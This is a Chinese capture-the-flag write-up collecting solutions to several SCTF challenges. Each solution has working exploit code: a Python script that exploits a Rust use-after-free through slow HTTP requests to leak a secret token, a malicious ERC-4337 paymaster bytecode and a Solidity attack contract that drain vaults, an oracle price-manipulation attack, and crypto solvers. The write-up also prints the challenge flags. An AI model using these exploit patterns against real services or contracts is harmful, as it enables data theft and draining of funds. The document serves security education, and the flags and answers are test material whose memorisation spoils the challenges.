文章总结: 文档描述了SCTF竞赛中一个Web漏洞和一个MISC合约分析。Web漏洞是Rustunsafe代码导致的Use-After-Free,通过Gateway的/__route/audit端点利用悬垂指针泄露内部vault接口的reconciliation_token(即flag)。攻击者通过慢速HTTP请求控制偏移,逐字节泄露512字节snapshot数据。MISC部分涉及一个包含Groth16证明验证和额外校验的claim函数。 综合评分: 95 文章分类: 漏洞分析,WEB安全,红队,内网渗透,CTF
SCTF-(部分)
赛查查
2026年7月1日 10:15 北京
在小说阅读器读本章
去阅读
以下文章来源于玄网安全 ,作者玄网安全 oPis
玄网安全 .
ctf竞赛交流,网络大臭虫一个
SCTF(部分)
Summary(WEB)
Rust unsafe 导致的 Use-After-Free 漏洞。Gateway 的 /__route/audit 端点使用 transmute 将局部 buffer 的引用强行提升为 'static 生命周期,归还 buffer 后后台定时任务覆写内存池,攻击者通过慢速 HTTP 请求让悬垂指针读到内部 vault 接口的敏感数据,逐字节泄露 reconciliation_token 即 flag。
审计信息
审计结论
发现 1 个高危信息泄露漏洞,可通过公网 POST /__route/audit 泄露 vault 内部接口返回的 TREASURY_RECONCILIATION_TOKEN。
高危:/__route/audit 可泄露内部 snapshot/token
位置:
gateway.rs (line 126)
selector.rs (line 67)
gateway.toml (line 6)
misc.rs (line 24)
漏洞分析
1. 架构
- Gateway (
0.0.0.0:8080,Docker 映射5000):公网可达,路由/api→ 反代到 vault,/__route/audit→ 路由审计 - Vault (
127.0.0.1:3005):内部服务,/internal/compliance/export-snapshot返回包含reconciliation_token的 JSON
2. 漏洞点
selector.rs:67-87 — defer_trace()
pub fn defer_trace(&self, raw_header: &[u8]) -> DeferredTrace {
let tenant_key = tenant_key(raw_header);
letmut scratch = self.checkout(&tenant_key); // 从池中取 512 字节 buffer
let raw_len = raw_header.len().min(SCRATCH_CAP);
scratch[..raw_len].copy_from_slice(&raw_header[..raw_len]);
let (tenant, path, nonce) = {
let raw = &scratch[..raw_len];
let parsed = unsafe { parse_route_selector(raw, SCRATCH_CAP) };
let nonce = unsafe {
std::mem::transmute::<&[u8], &'static [u8]>(parsed.nonce) // [1] UAF!
};
(parsed.tenant.to_string(), parsed.path.to_string(), nonce)
};
self.checkin(tenant_key, scratch); // [2] buffer 归还池中,nonce 变成悬垂指针
DeferredTrace { tenant, path, nonce }
}
selector.rs:89-98 — store_snapshot()
fn store_snapshot(&self, body: &[u8]) {
let snapshot = body[..body.len().min(SCRATCH_CAP)].to_vec();
let mut pools = self.pools.lock().expect("selector pool lock poisoned");
for pool in pools.values_mut() {
for scratch in pool.iter_mut() {
scratch.fill(0);
scratch[..snapshot.len()].copy_from_slice(&snapshot); // [3] 覆写所有池中 buffer!
}
}
}
selector.rs:48-57 — 后台定时任务
tokio::spawn(async move {
loop {
if let Ok(body) = fetch_http_body(&url).await { // 拉取内部 snapshot
engine.store_snapshot(&body); // 覆写所有 scratch
}
sleep(refresh_interval).await; // 每 1 秒一次
}
});
gateway.rs:126-148 — route_audit()
async fn route_audit(&self, request: Request<Incoming>) -> ... {
let trace = self.selector.defer_trace(selector.as_bytes()); // nonce 已悬垂
request.into_body().collect().await?; // [4] 等待 body 读完 — 攻击窗口!
let trace = trace.finish(); // [5] 读取悬垂 nonce → 泄露 snapshot 数据
...
}
3. 利用时序
时间线:
T0: defer_trace() 执行,nonce → scratch[offset..offset+4]
scratch 归还池中(nonce 悬垂)
T1: route_audit 阻塞在 body.collect(),攻击者不发送 body
T2: 后台任务拉取 snapshot,store_snapshot() 覆写所有池中 scratch
T3: 攻击者发送剩余 body,collect() 返回
T4: trace.finish() 读取 nonce → 读到的是 snapshot[offset..offset+4]
4. 控制偏移
parse_route_selector 按 tenant:path:nonce 格式解析 header:
let nonce_start = second.saturating_add(1); // 第二个冒号后 1 字节
let nonce_len = scratch_cap.saturating_sub(nonce_start).min(4); // 固定 4 字节
构造 selector t:AAA...A: 使第二个冒号位于 offset-1,则 nonce_start = offset,读取 snapshot 的 4 字节窗口。遍历 offset 3, 7, 11, … 511 即可还原完整 512 字节 snapshot。
import socket
import time
import json
HOST, PORT = '1.95.127.162', 5000
def leak(off, retries=3):
for attempt in range(retries):
try:
# nonce_start = second_colon + 1 = off
selector = 't:' + 'A' * (off - 3) + ':'
s = socket.create_connection((HOST, PORT), timeout=10)
req = (
'POST /__route/audit HTTP/1.1\r\n'
f'Host: {HOST}:{PORT}\r\n'
f'x-route-selector: {selector}\r\n'
'Content-Length: 1\r\n'
'Connection: close\r\n\r\n'
)
s.sendall(req.encode())
time.sleep(1.3) # wait for background refresh (1s interval + margin)
s.sendall(b'x')
resp = b''
while True:
try:
chunk = s.recv(4096)
if not chunk:
break
resp += chunk
except ConnectionResetError:
break
except Exception:
break
s.close()
# Find JSON body after HTTP headers
parts = resp.split(b'\r\n\r\n', 1)
if len(parts) < 2:
if attempt < retries - 1:
time.sleep(0.5)
continue
return b'\x00\x00\x00\x00'
body = parts[1]
try:
parsed = json.loads(body)
return bytes.fromhex(parsed['nonce_preview_hex'])
except Exception:
if attempt < retries - 1:
time.sleep(0.5)
continue
return b'\x00\x00\x00\x00'
except Exception as e:
if attempt < retries - 1:
time.sleep(1)
continue
return b'\x00\x00\x00\x00'
print('[*] Leaking snapshot data...')
results = []
for i in range(3, 512, 4):
data = leak(i)
results.append(data)
printable = ''.join(chr(b) if 32 <= b < 127 else'.'for b in data)
print(f' offset {i:3d}: {data.hex()} {printable}', flush=True)
full = b''.join(results)
print('\n[+] Full leaked data:')
print(full.decode(errors='replace'))
print('\n[+] Hex dump of flag area:')
# Find SCTF pattern
idx = full.find(b'SCTF')
if idx >= 0:
print(f' Found SCTF at offset {idx}: {full[idx:idx+100]}')
else:
# Search for "reconciliation_token"
idx = full.find(b'reconciliation_token')
if idx >= 0:
print(f' Found reconciliation_token at offset {idx}')
print(f' Context: {full[idx:idx+80]}')
Contract Analysis(MISC)
核心合约函数如下:
function claim(
uint[2] calldata proofA,
uint[2][2] calldata proofB,
uint[2] calldata proofC,
uint[5] calldata publicSignals,
uint256 pageAPlaintext,
uint8 pageBv,
bytes32 pageBr,
bytes32 pageBs,
uint256 pageCLeft,
uint256 pageCRight
) external
claim 的校验逻辑分为四部分:
publicSignals必须匹配链上modulus / merkleRoot / recipientCommitment / externalNullifierGroth16Verifier.verifyProof(...)必须通过nullifierHash不能重复使用- Page A、Page B、Page C 三个额外校验必须通过
电路 LastHonestWitness.circom 约束:
p * q === modulus
plaintext < modulus
Poseidon(1, plaintext) === recipientCommitment
identity = Poseidon(2, plaintext, p, q, externalNullifier)
nullifierHash = Poseidon(5, identity, externalNullifier)
leaf = Poseidon(3, identity, commitment)
沿 Merkle path 计算 root === merkleRoot
因此需要恢复:
- RSA 模数的两个因子
p, q - ciphertext 对应的 plaintext
- 正确的 Merkle root
- 对应的 Merkle path
poseidon_helper.js 已经提供了 Merkle tree 构造规则,可以直接复用生成 circuit input。 题目提示:
The two guardians of the modulus were born almost at the same time.
实际链上 RSA 模数较小,可以直接分解:
N = 615429951214616213145619887722161253
p = 784493436055779473
q = 784493436055795861
由于 gcd(e, phi(N)) = 1,直接求私钥指数:
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)
得到:
plaintext = 474401937379412746004845
接着用 poseidon_helper.js 计算 commitment / nullifier / Merkle path:
node poseidon_helper.js \
784493436055779473 \
784493436055795861 \
474401937379412746004845 \
--input input.json
输出关键值:
activeIndex = 19
commitment = 9377985761090098792458769157668700179213141594497154267610801610404565099971
nullifierHash = 8001422557285569920145416452913385853486935919178479204688850774075157728239
merkleRoot = 7732477719083212578752387109071435927399654988182031884976220637137317857940
commitment 和链上常量一致,merkleRoot 和事件 root 一致,说明 witness 正确。 Page A 给出:
n = 760009694642386684565581461392043895505912502559714131532944907541093903
e = 3
delta = 1337
c1 = m^e mod n
c2 = (m + delta)^e mod n
这是 Franklin-Reiter related-message attack。令:
f(x) = x^3 - c1
g(x) = (x + delta)^3 - c2
在 Z_n[x] 上求 gcd(f, g),得到一次多项式 x - m。
求得:
pageAPlaintext = 25774616630246150697727911729
bytes = b"SHC_FR_frag1"
Page B 给出 secp256k1 公钥坐标和消息哈希,并提示:
x < 2^20
说明 ECDSA 私钥很小。对 secp256k1 做 baby-step giant-step 离散对数即可恢复私钥:
private scalar = 789123
用该私钥对合约中的 PAGE_B_MESSAGE_HASH 签名,得到:
pageBv = 28
pageBr = 0xc3349965986bd706337e04fd1a6a740e1f759a5d95ec4d2854655fc414ec6402
pageBs = 0x432d7ce0d69b4a37abd4504c03aac315e27d666b6720d0624a2d2984cfcd346a
链上 ecrecover 恢复地址:
0xB6746A0bfDC4aF89cE8cE8822c887A6bB79b88ec
与合约 PAGE_B_SIGNER 一致。 Page C 要求找到两个不同整数 a, b < 2^32,满足:
low40(keccak256(abi.encodePacked(PAGE_C_TAG, a)))
==
low40(keccak256(abi.encodePacked(PAGE_C_TAG, b)))
40-bit 截断哈希可以用生日攻击,期望约 2^20 次。注意 Solidity 的 abi.encodePacked(bytes32, uint256) 中,uint256 是 32 字节 big-endian。
搜索得到:
pageCLeft = 1656330
pageCRight = 2582757
low40 = 0x6bdab550bd
claim(
proofA,
proofB,
proofC,
publicSignals,
25774616630246150697727911729,
28,
0xc3349965986bd706337e04fd1a6a740e1f759a5d95ec4d2854655fc414ec6402,
0x432d7ce0d69b4a37abd4504c03aac315e27d666b6720d0624a2d2984cfcd346a,
1656330,
2582757
)
交易成功:
tx = 0xda98c595b4c0eca2489881c145d2bd87c81fef6f2822b26a39d4ec95fff22c75
receipt status = 1
gas used = 322115
isSolved = True
平台返回:
Congratulations! Challenge solved!
FLAG: SCTF{SYC_!ntern_Ray}
kMage(PWN)
144PT
Pwn
你们是虚像吗?是吞噬期冀的黑洞吗?
flag:SCTF{g0o0o0o-f0r-@-puNch-k3rnEL-M4st3r}
Are you illusions? Are you black holes that devour hopes?
flag:SCTF{g0o0o0o-f0r-@-puNch-k3rnEL-M4st3r}
ChronoStasis(MISC)
Summary
题目是一个 Foundry/Anvil 区块链实例题。核心漏洞在于 Vault 的赎回流程跨越了两次价格观测:requestRedeem 和 claimRedeem 使用的 LP / Oracle 价格不一致,因此可以先抬高价格提交赎回请求,再压低价格领取,从 Vault 中取出过量 LP,使 isSolved() 变为 true。
Solution
1. 启动实例并保持菜单连接
远程入口是:
nc 1.95.63.227 7000
选择 [2] Launch new instance 后,服务会返回本次实例的 RPC URL、Setup contract、Player key。这些值每次启动都不同,必须自动解析。
一个细节是:Anvil RPC 的生命周期和当前 nc 菜单连接相关。如果脚本启动实例后立刻关闭 socket,RPC 端口会很快变成 Connection refused。因此 exploit 脚本需要保持这个菜单 socket 不关闭,直到链上利用完成,再在同一连接里选择 [3] Get flag。
2. 利用 Oracle / Vault 价格错配
实例中有三种 token、两个 AMM pair、一个 oracle 和一个 vault:
pairAB:Vault 持有的 LP 资产pairBC:较薄的价格池,用于影响 B 的报价oracle:更新 pair 价格vault:支持deposit -> requestRedeem -> claimRedeem
利用流程:
approve所有需要的 token / LP。- 向
pairAB添加少量 A/B 流动性,得到 LP。 - 将 LP 存入 Vault,得到 shares。
- 更新 oracle,建立基线价格。
- 用大量 C 换 B,拉高 B 相对 C 的价格,从而抬高
lpPriceUSD()/pricePerShare()。 - 在高价状态下调用
requestRedeem(shares, me, me)。 - 再用手中的 B 砸回
pairBC,压低 B 价格。 - 更新 oracle 后调用
claimRedeem(0)。 - Vault 按不一致的价格状态结算,资产被取走过多,
isSolved()变为true。
实际运行中的关键状态:
after pump:
lpPriceUSD = 20341399997000000000
pps = 20341399997000000000
after dump:
lpPriceUSD = 67604157000000000
pps = 67604157000000000
after claim:
solved = True
GateCrash(MISC)
Summary
GateCrash 是一个简化版 ERC-4337 账户抽象题。漏洞在于 EntryPoint 在 Paymaster 校验阶段暴露了特权函数,恶意 Paymaster 可以把 admin account 加入 preApprovedSenders,随后同一个 handleOps 批次中的 admin UserOperation 会跳过签名校验。
Solution
Step 1: 观察验证流程
EntryPoint.handleOps() 先遍历全部 UserOperation 做 _validatePrepayment(),再遍历全部 UserOperation 做 _executeUserOp()。
在 _validatePrepayment() 中,如果 paymasterAndData 非空,会调用:
_inPaymasterValidation = true;
IPaymaster(paymaster).validatePaymasterUserOp(op, opHash, 0);
_inPaymasterValidation = false;
而 EntryPoint.addToPreApproved() 只检查 _inPaymasterValidation:
function addToPreApproved(address sender) external override {
require(_inPaymasterValidation, "EP: only during paymaster validation");
preApprovedSenders[sender] = true;
}
因此任意被指定为 paymaster 的合约,都可以在校验回调里调用 addToPreApproved(adminAccount)。
Step 2: 绕过 admin 签名
BaseAccount.validateUserOp() 中存在一条特殊分支:
if (entryPoint.preApprovedSenders(address(this))) {
require(userOp.nonce == nonce, "BaseAccount: invalid nonce");
nonce++;
return 0;
}
也就是说,只要 admin account 被加进 preApprovedSenders,admin 的 UserOperation 就不再需要 owner 签名。
利用方式是在同一个 handleOps([op1, op2]) 批次中提交两个操作:
op1.sender = attackerAccount,带合法签名,并设置paymasterAndData = maliciousPaymaster。- 恶意 Paymaster 在
validatePaymasterUserOp()中调用EntryPoint.addToPreApproved(adminAccount)。 op2.sender = adminAccount,签名为空,但由于 admin 已经 pre-approved,校验通过。op2.callData调用 admin account 的execute(player, adminBalance, ""),把 admin 账户余额转给 player。
admin 账户余额清空后,Setup.isSolved() 返回 true。
Step 3: Exploit
完整 exploit 脚本:
E:\MCP\solve_gatecrash.py
运行方式:
cd /mnt/e/MCP
export GATE_TOKEN=<team-token>
unset GATE_RPC GATE_SETUP GATE_PK RPC SETUP PK
python solve_gatecrash.py
脚本会自动:
- 连接
nc 1.95.63.227 1337 - 选择
[2] Launch new instance - 解析
RPC URL / Setup address / Player key - 部署恶意 Paymaster
- 构造两个 UserOperation 并调用
EntryPoint.handleOps - 选择
[3] Get flag
核心逻辑如下:
def paymaster_creation_code(entry_point, admin_account):
# runtime: entryPoint.addToPreApproved(adminAccount);
# then return ABI-encoded (bytes context, uint256 validationData) = ("", 0)
selector = keccak(text="addToPreApproved(address)")[:4]
runtime = bytearray()
runtime += bytes.fromhex("7f") + selector + b"\x00" * 28
runtime += bytes.fromhex("600052")
runtime += bytes.fromhex("7f") + b"\x00" * 12 + bytes.fromhex(admin_account[2:])
runtime += bytes.fromhex("600452")
runtime += bytes.fromhex("60006000602460006000")
runtime += bytes.fromhex("73") + bytes.fromhex(entry_point[2:])
runtime += bytes.fromhex("5af150")
runtime += bytes.fromhex("60406000526000602052600060405260606000f3")
creation = (
bytes.fromhex("60") + bytes([len(runtime)]) +
bytes.fromhex("600c60003960") + bytes([len(runtime)]) +
bytes.fromhex("6000f3") + bytes(runtime)
)
return"0x" + creation.hex()
# op1: attacker account, valid signature, malicious paymaster
op1["sender"] = attackerAccount
op1["paymasterAndData"] = bytes.fromhex(paymaster[2:])
op1["signature"] = sign_user_op(op1, player_private_key)
# op2: admin account, empty signature, execute admin balance transfer
admin_balance = w3.eth.get_balance(adminAccount)
op2["sender"] = adminAccount
op2["callData"] = admin.execute(player, admin_balance, b"")
op2["signature"] = b""
entryPoint.handleOps([op1, op2], player)
成功输出:
[*] preApproved(admin): True
[*] admin balance after: 0
[*] isSolved: True
Flag
SCTF{Krypt0n0r_0xccfa0_#3!(D1n0)@bc}
DeepSea Finance(MISC)
Summary
DeepSea Finance 是一个多资产借贷协议题,目标是让 Setup.isSolved() 返回 true:
function isSolved() external view returns (bool) {
return wbtc.balanceOf(address(vaultProxy)) == 0;
}
核心漏洞在 DeepSeaVault.claimRewards() 的奖励 epoch 结算流程。调用 claimRewards(wbtc) 后,代理存储中的初始化保护槽会被清空,使得同一笔交易内可以再次调用 initialize(),把攻击合约加入 guardians。随后攻击合约以 guardian 身份调用 emergencyWithdraw(),直接把 vault 中的全部 WBTC 转走。
Solution
1. 观察初始化保护
Setup 部署 DeepSeaVault 实现合约后,用 RoutedProxy 通过 delegatecall(initData) 初始化 vault:
function initialize(
address _oracle,
address _rewardToken,
address[] calldata _guardians
) external {
require(governor == address(0), "Already initialized");
governor = msg.sender;
priceOracle = IVaultOracle(_oracle);
rewardToken = _rewardToken;
...
}
正常情况下,governor 已经是 Setup,所以不能二次初始化。
但是实际链上探测发现,在新实例中单独调用一次:
vault.claimRewards(wbtc);
之后代理存储出现如下变化:
slot0 before = 0
slot1 before = 0x...5FbDB2315678afecb367f032d93F642f64180aa3
slot0 after = 1
slot1 after = 0
其中 slot1 正是 governor 所在位置,原本保存 Setup 地址。它被清零后,initialize() 的 require(governor == address(0)) 又可以通过。
2. 构造攻击合约
攻击需要放在同一笔交易中完成,因为题目使用了 Cancun transient storage,状态变化和执行上下文强相关。攻击合约执行顺序如下:
- 从
Setup读取vaultProxy、wbtc、usdc、oracle。 - 调用
vault.claimRewards(wbtc),触发奖励结算副作用,清掉governor。 - 调用
vault.initialize(oracle, usdc, [address(this)]),把攻击合约注册为 guardian。 - 读取
wbtc.balanceOf(vault)。 - 调用
vault.emergencyWithdraw(wbtc, msg.sender, balance),把全部 WBTC 转给玩家。
对应的 Solidity 逻辑可以写成:
interface ISetup {
function vaultProxy() external view returns (address);
function wbtc() external view returns (address);
function usdc() external view returns (address);
function oracle() external view returns (address);
}
interface IVault {
function claimRewards(address token) external;
function initialize(address oracle, address rewardToken, address[] calldata guardians) external;
function emergencyWithdraw(address token, address to, uint256 amount) external;
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
}
contract Attack {
function attack(address setupAddr) external {
ISetup setup = ISetup(setupAddr);
address vault = setup.vaultProxy();
address wbtc = setup.wbtc();
IVault(vault).claimRewards(wbtc);
address[] memory guardians = new address[](1);
guardians[0] = address(this);
IVault(vault).initialize(setup.oracle(), setup.usdc(), guardians);
uint256 amount = IERC20(wbtc).balanceOf(vault);
IVault(vault).emergencyWithdraw(wbtc, msg.sender, amount);
}
}
3. Exploit
完整脚本:
E:\MCP\solve_deepsea.py
运行方式:
cd /mnt/e/MCP
export DEEPSEA_TOKEN=<team-token>
unset DEEPSEA_RPC DEEPSEA_SETUP DEEPSEA_PK RPC SETUP PK
python solve_deepsea.py
脚本会自动完成:
- 连接
nc 1.95.206.213 5000 - 选择
[1] Launch new instance - 解析
RPC URL / Setup contract / Player key - 部署攻击合约 runtime
- 调用
attack(setup) - 检查
Setup.isSolved() - 在同一菜单连接中选择
[2] Get flag
成功输出:
[*] deploy attacker: ... status=1 gas=322962
[*] attack: ... status=1 gas=175015
[*] final WBTC vault bal 0
[*] solved True
FLAG: SCTF{d33p_s34_f1n4nc3_!$_dr41n3d_2026@#^&*}
Flag
SCTF{d33p_s34_f1n4nc3_!$_dr41n3d_2026@#^&*}
Cipher_Chain(crypto)
Summary
题目分为两段。Task1 是有限域上的小重量三值向量恢复,可以用 meet-in-the-middle 枚举;恢复出的 seed 再作为 Task2 的输入,经过 SHA256 burn 后参与 X25519,最后用派生出的流密钥解密 payload。
Solution
Step 1: 恢复 Task1 的三值向量
task1.txt 给出了 30 维向量 h 的约束:
h_i in {-1, 0, 1}sum h_i^2 = 10,所以非零项恰好 10 个h * G = 0 mod 65537
直接枚举是 C(30,10) * 2^10,但可以把 30 维拆成前 15 维和后 15 维。分别枚举左右半边的带符号小重量和,查找两边向量和互为相反数的组合即可。
找到:
h = [0, 1, 0, 0, -1, 1, 0, 0, 0, 1, 0, 0, 0, -1, 0,
0, 0, 1, 0, 0, -1, 0, -1, 0, 0, 0, 1, 0, -1, 0]
按题面给出的 KDF 计算 stream 后异或密文,得到 Task2 seed:
seed_hex = 6147466a794858316157646164616465
seed_ascii = aGFjyHX1aWdadade
Step 2: 判断 Task2 的 burn 位置
task2.trace 给了关键信息:
secret_stage = compress(seed)
burn_counter = 0xc350
exchange = montgomery25519
payload_mode = stream-mask
这里 compress(seed) 对应 SHA256(seed)。需要判断 burn_counter 在曲线交换前还是后。尝试后发现正确链路为:
priv0 = SHA256(seed)
priv = SHA256 迭代 0xc350 次
shared = X25519(priv, task2.pub)
session = SHA256(shared)
其中:
session[:8] = 621e27e55f647db4
正好匹配 task2.log 的 session_prefix,所以 burn 发生在 X25519 交换之前。
payload 使用 stream-mask,实际密钥为:
payload_key = SHA256(session)
plaintext = task2.enc XOR payload_key
Complete Solve Script
运行方式:
python solve.py /path/to/attachment
脚本假设目录下存在 task1.txt 和 task2/task2.{pub,enc,log,trace}。
import ast
import hashlib
import itertools
import re
import struct
import sys
from pathlib import Path
from cryptography.hazmat.primitives.asymmetric import x25519
P = 65537
BASE = Path(sys.argv[1]) if len(sys.argv) > 1else Path(".")
def parse_task1(path: Path):
text = path.read_text(encoding="utf-8")
G = ast.literal_eval(
re.search(r"G\s*=\s*(\[.*?\])\s*\n\s*ciphertext_hex", text, re.S).group(1)
)
ct = bytes.fromhex(re.search(r"ciphertext_hex\s*=\s*([0-9a-f]+)", text).group(1))
return G, ct
def enum_weight(rows, w):
n = len(rows)
if w == 0:
yield (0,) * 14, [0] * n
return
for comb in itertools.combinations(range(n), w):
for bits in range(1 << w):
h = [0] * n
v = [0] * 14
for j, idx in enumerate(comb):
sign = 1if ((bits >> j) & 1) else-1
h[idx] = sign
row = rows[idx]
for k in range(14):
v[k] = (v[k] + sign * row[k]) % P
yield tuple(v), h
def recover_h(G):
left, right = G[:15], G[15:]
# Most likely split first; still covers all possible weights.
order = [(5, 5), (4, 6), (6, 4), (3, 7), (7, 3),
(2, 8), (8, 2), (1, 9), (9, 1), (0, 10), (10, 0)]
for wl, wr in order:
table = {}
for s, h in enum_weight(left, wl):
table[s] = h
for s, h2 in enum_weight(right, wr):
need = tuple((-x) % P for x in s)
if need in table:
return table[need] + h2
raise RuntimeError("h not found")
def task1_seed(h, ct):
material = (
b"Curve_Link_Task1_Hard|P=65537|w=10|h="
+ b",".join(str(x).encode() for x in h)
)
stream = b""
for counter in range((len(ct) + 31) // 32):
stream += hashlib.sha256(material + struct.pack(">I", counter)).digest()
return bytes(a ^ b for a, b in zip(ct, stream))
def task2_decrypt(seed, task2_dir: Path):
pub = (task2_dir / "task2.pub").read_bytes()
enc = (task2_dir / "task2.enc").read_bytes()
priv = hashlib.sha256(seed).digest()
for _ in range(0xC350):
priv = hashlib.sha256(priv).digest()
private_key = x25519.X25519PrivateKey.from_private_bytes(priv)
public_key = x25519.X25519PublicKey.from_public_bytes(pub)
shared = private_key.exchange(public_key)
session = hashlib.sha256(shared).digest()
payload_key = hashlib.sha256(session).digest()
plaintext = bytes(a ^ b for a, b in zip(enc, payload_key))
return session[:8], plaintext
def main():
G, ct = parse_task1(BASE / "task1.txt")
h = recover_h(G)
seed = task1_seed(h, ct)
prefix, flag = task2_decrypt(seed, BASE / "task2")
print("h =", h)
print("seed_hex =", seed.hex())
print("seed_ascii =", seed.decode(errors="replace"))
print("session_prefix =", prefix.hex())
print("flag =", flag.decode())
if __name__ == "__main__":
main()
输出:
h = [0, 1, 0, 0, -1, 1, 0, 0, 0, 1, 0, 0, 0, -1, 0, 0, 0, 1, 0, 0, -1, 0, -1, 0, 0, 0, 1, 0, -1, 0]
seed_hex = 6147466a794858316157646164616465
seed_ascii = aGFjyHX1aWdadade
session_prefix = 621e27e55f647db4
flag = SCTF{curve25519_bsuiahduie_cif_diqw}
Flag
SCTF{curve25519_bsuiahduie_cif_diqw}
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛查查 《SCTF-(部分)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论